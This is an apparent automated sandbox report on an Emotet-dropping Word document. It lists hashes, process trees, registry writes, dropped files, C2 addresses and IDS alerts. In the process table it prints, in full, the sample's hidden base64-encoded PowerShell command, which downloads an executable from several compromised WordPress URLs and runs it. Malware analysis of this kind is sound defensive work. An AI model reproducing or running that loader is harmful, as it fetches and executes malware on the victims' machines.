| File name: | 70052332_20191115.doc |
| Full analysis: | https://app.any.run/tasks/c03861d3-14e4-4b7e-8f5e-35e42cde0aca |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | November 16, 2019, 04:39:40 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Aliquam officia quia., Author: Marlo Treff, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Nov 15 06:41:00 2019, Last Saved Time/Date: Fri Nov 15 06:41:00 2019, Number of Pages: 1, Number of Words: 20, Number of Characters: 115, Security: 0 |
| MD5: | D3976C10F64DF83252746488DF6AECD6 |
| SHA1: | 82213592CCAF648914F3E31E3DE97733B087C3FB |
| SHA256: | 4C531072C216A23DE7638B593E65F885453EA1A442115A77323CC9A70034B75B |
| SSDEEP: | 3072:F3YTgH+UaqFh55r/SzFaSadGBrjC48+WZ/POhh+/Ae2/8GL3+9rJ:F3YTgHNaqDSzGdD48+aPOnpe0CF |
MALICIOUS
Application was dropped or rewritten from another process
- 673.exe (PID: 3184)
- 673.exe (PID: 2252)
- serialfunc.exe (PID: 3860)
- serialfunc.exe (PID: 2892)
Downloads executable files from the Internet
- powershell.exe (PID: 4016)
Emotet process was detected
- 673.exe (PID: 3184)
EMOTET was detected
- serialfunc.exe (PID: 2892)
Connects to CnC server
- serialfunc.exe (PID: 2892)
SUSPICIOUS
PowerShell script executed
- powershell.exe (PID: 4016)
Executed via WMI
- powershell.exe (PID: 4016)
Creates files in the user directory
- powershell.exe (PID: 4016)
Executable content was dropped or overwritten
- powershell.exe (PID: 4016)
- 673.exe (PID: 3184)
Starts itself from another location
- 673.exe (PID: 3184)
Application launched itself
- serialfunc.exe (PID: 3860)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2152)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2152)
Manual execution by user
- explorer.exe (PID: 492)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Aliquam officia quia. |
|---|---|
| Subject: | - |
| Author: | Marlo Treff |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:11:15 06:41:00 |
| ModifyDate: | 2019:11:15 06:41:00 |
| Pages: | 1 |
| Words: | 20 |
| Characters: | 115 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 134 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
46
Monitored processes
7
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 492 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2152 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\70052332_20191115.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2252 | "C:\Users\admin\673.exe" | C:\Users\admin\673.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2892 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3184 | --15674c70 | C:\Users\admin\673.exe | 673.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3860 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 673.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 4016 | powershell -w hidden -enco JABKAGoAZgBiAGkAbwBoAGoAbwBmAGsAagBuAD0AJwBRAHoAcwBmAHcAcABvAHYAZQB6AGsAdABoACcAOwAkAFkAegBsAHQAeABoAHcAcQAgAD0AIAAnADYANwAzACcAOwAkAEQAdQBtAHUAagByAGkAeQBzAHIAPQAnAEUAcgBvAG0AbQB1AGcAaQBkAGsAJwA7ACQASwBlAHMAeABrAGgAaAB5AHMAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWQB6AGwAdAB4AGgAdwBxACsAJwAuAGUAeABlACcAOwAkAFYAbgBiAGIAeQB1AHoAcwBzAHUAPQAnAEIAZABwAHoAcgB1AG0AZQBoAGMAcQAnADsAJABQAGsAbAByAHcAYwBrAGcAeQBuAG0AYQBzAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBCAGMAbABJAGUAbgB0ADsAJABZAHMAbABlAHUAeQBkAHIAbgA9ACcAaAB0AHQAcAA6AC8ALwBsAGkAbgB1AG0AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARgBUADAAUgA1AC8AKgBoAHQAdABwADoALwAvAHQAaABjAGMAYQBtAGUAcgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB2AC8AKgBoAHQAdABwAHMAOgAvAC8AaQBuAHYAZQByAG4AZQBzAHMAZABlAHMAaQBnAG4AYgB1AGkAbABkAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AagA3AGkANwAyAHMALwAqAGgAdAB0AHAAcwA6AC8ALwBmAGkAcgBtAGEAbwBmAGkAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFAALwAqAGgAdAB0AHAAcwA6AC8ALwBlAHgAdAByAGEAZwBpAGYAdABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBtADkAeABmAGwALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAJwAqACcAKQA7ACQAWABoAG4AawBvAGcAcwBhAGQAegA9ACcARwB6AHgAcwBxAHUAagBrAHkAawBqACcAOwBmAG8AcgBlAGEAYwBoACgAJABNAHUAaQBwAGUAaAB5AGoAZgBhAG8AZABnACAAaQBuACAAJABZAHMAbABlAHUAeQBkAHIAbgApAHsAdAByAHkAewAkAFAAawBsAHIAdwBjAGsAZwB5AG4AbQBhAHMALgAiAEQAYABvAGAAdwBOAEwATwBBAGQAYABGAGkAbABlACIAKAAkAE0AdQBpAHAAZQBoAHkAagBmAGEAbwBkAGcALAAgACQASwBlAHMAeABrAGgAaAB5AHMAYQApADsAJABSAGoAeABwAGIAdAB3AG8AcQA9ACcATABoAGQAbgBvAHAAeQBkAHQAaQBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQASwBlAHMAeABrAGgAaAB5AHMAYQApAC4AIgBsAGAARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA1ADkAMwAzACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAdABhAGAAUgBUACIAKAAkAEsAZQBzAHgAawBoAGgAeQBzAGEAKQA7ACQAUQBoAGgAYwBtAG4AeQBpAGMAeAA9ACcASwBiAGcAeQBiAHEAeQBqAGcAaQBxAHYAJwA7AGIAcgBlAGEAawA7ACQATQBmAG0AegBnAG8AaQBjAGwAbAA9ACcARABuAHAAZABmAGcAcgB0AGYAdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABHAHUAdgBmAGYAaQByAGwAZwBkAGEAcwA9ACcAUQBoAG0AaABxAHYAagBwACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 258
Read events
1 444
Write events
689
Delete events
125
Modification events
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 5#b |
Value: 3523620068080000010000000000000000000000 | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2152) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1332740158 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
11
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA795.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 4016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PZCAHQ19UMA5XTZONPV6.temp | — | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$052332_20191115.doc | pgc | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C369CCDE.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C9216C9C.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\15ADDB47.wmf | wmf | |
MD5:— | SHA256:— | |||
| 4016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b3ba.TMP | binary | |
MD5:— | SHA256:— | |||
| 4016 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2152 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9052290A.wmf | wmf | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
12
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4016 | powershell.exe | GET | 200 | 178.33.45.54:80 | http://linume.com/wp-admin/FT0R5/ | FR | executable | 240 Kb | suspicious |
2892 | serialfunc.exe | POST | — | 144.76.56.36:8080 | http://144.76.56.36:8080/between/loadan/add/ | DE | — | — | malicious |
2892 | serialfunc.exe | POST | — | 65.23.154.17:8080 | http://65.23.154.17:8080/guids/merge/add/ | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4016 | powershell.exe | 178.33.45.54:80 | linume.com | OVH SAS | FR | suspicious |
2892 | serialfunc.exe | 65.23.154.17:8080 | — | IO Capital Princess, LLC | US | malicious |
— | — | 144.76.56.36:8080 | — | Hetzner Online GmbH | DE | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
linume.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
4016 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
4016 | powershell.exe | A Network Trojan was detected | AV INFO Suspicious EXE download from WordPress folder |
4016 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
4016 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2892 | serialfunc.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
2892 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2892 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
5 ETPRO signatures available at the full report